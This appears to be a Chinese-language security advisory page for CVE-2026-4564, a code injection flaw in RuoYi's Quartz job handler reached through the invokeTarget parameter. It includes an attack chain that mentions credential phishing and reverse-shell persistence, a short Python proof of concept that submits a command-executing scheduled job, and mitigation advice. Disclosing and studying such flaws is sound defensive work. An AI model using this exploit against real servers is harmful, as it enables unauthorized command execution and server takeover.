IPBUF安全漏洞报告
English
CVE-2026-4564 CVSS 4.7 中危

CVE-2026-4564 RuoYi Quartz Job Handler代码注入漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-4564
漏洞类型
代码注入
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
yangzongzhuan RuoYi

相关标签

代码注入RuoYiQuartzRCECVE-2026-4564

漏洞概述

yangzongzhuan RuoYi 4.8.2及之前版本存在代码注入漏洞。该漏洞位于/monitor/job/接口的Quartz Job Handler组件中,因对invokeTarget参数缺乏有效过滤,导致攻击者可注入恶意代码。攻击需高权限且可远程触发,目前已公开PoC,厂商尚未修复。

技术细节

该漏洞源于yangzongzhuan RuoYi框架集成的Quartz定时任务调度组件。在系统的后台任务管理模块(通常为/monitor/job/)中,用户可以配置定时任务的调用目标字符串(invokeTarget)。框架底层利用反射机制调用Spring Bean中的方法。然而,系统未对invokeTarget参数进行充分的安全校验和过滤,允许攻击者通过构造特定的恶意字符串(例如调用系统命令执行类或利用SpEL表达式注入),绕过业务逻辑限制。攻击者一旦拥有管理员权限并成功注入恶意Payload,即可在服务器上下文中远程执行任意系统命令,进而控制服务器。

攻击链分析

STEP 1
侦察
攻击者识别目标系统使用的是yangzongzhuan RuoYi框架,且版本在4.8.2或以下。
STEP 2
认证
由于漏洞需要高权限(PR:H),攻击者需要通过钓鱼或弱口令破解获取管理员账号凭证。
STEP 3
漏洞利用
攻击者登录后台,访问/monitor/job/接口,创建或编辑定时任务,将invokeTarget参数修改为恶意的代码注入Payload。
STEP 4
代码执行
服务器端Quartz组件解析invokeTarget参数,由于缺乏过滤,恶意代码被反射调用,导致服务器执行任意命令。
STEP 5
权限维持
攻击者通过执行命令建立后门或反弹Shell,从而持久化控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url, cookie): """ PoC for CVE-2026-4564 Exploits code injection via invokeTarget parameter. Requires authentication (High Privilege). """ headers = { "User-Agent": "Mozilla/5.0", "Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded" } # Malicious payload targeting the invokeTarget parameter # This payload attempts to execute a system command (e.g., whoami) # Adjust the payload based on the specific vulnerable Bean method available payload_data = { "jobName": "CVE-2026-4564-Exploit", "jobGroup": "DEFAULT", "invokeTarget": "com.example.VulnerableBean.exec('whoami')", "cronExpression": "0 * * * * ?", "misfirePolicy": "1", "concurrent": "1", "status": "0" } # Endpoint to add/execute job url = f"{target_url}/monitor/job/add" try: response = requests.post(url, headers=headers, data=payload_data, verify=False) if response.status_code == 200: print("[+] Request sent successfully. Check if code was executed.") print("[+] Response:", response.text) else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") # Usage # exploit("http://127.0.0.1:8080", "ADMIN_TOKEN=...")

影响范围

yangzongzhuan RuoYi <= 4.8.2

防御指南

临时缓解措施
在未升级修复前,建议暂时关闭定时任务管理功能,或通过安全设备拦截针对/monitor/job/的异常POST请求,并加强对管理员账号的密码复杂度要求以防止被攻陷。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表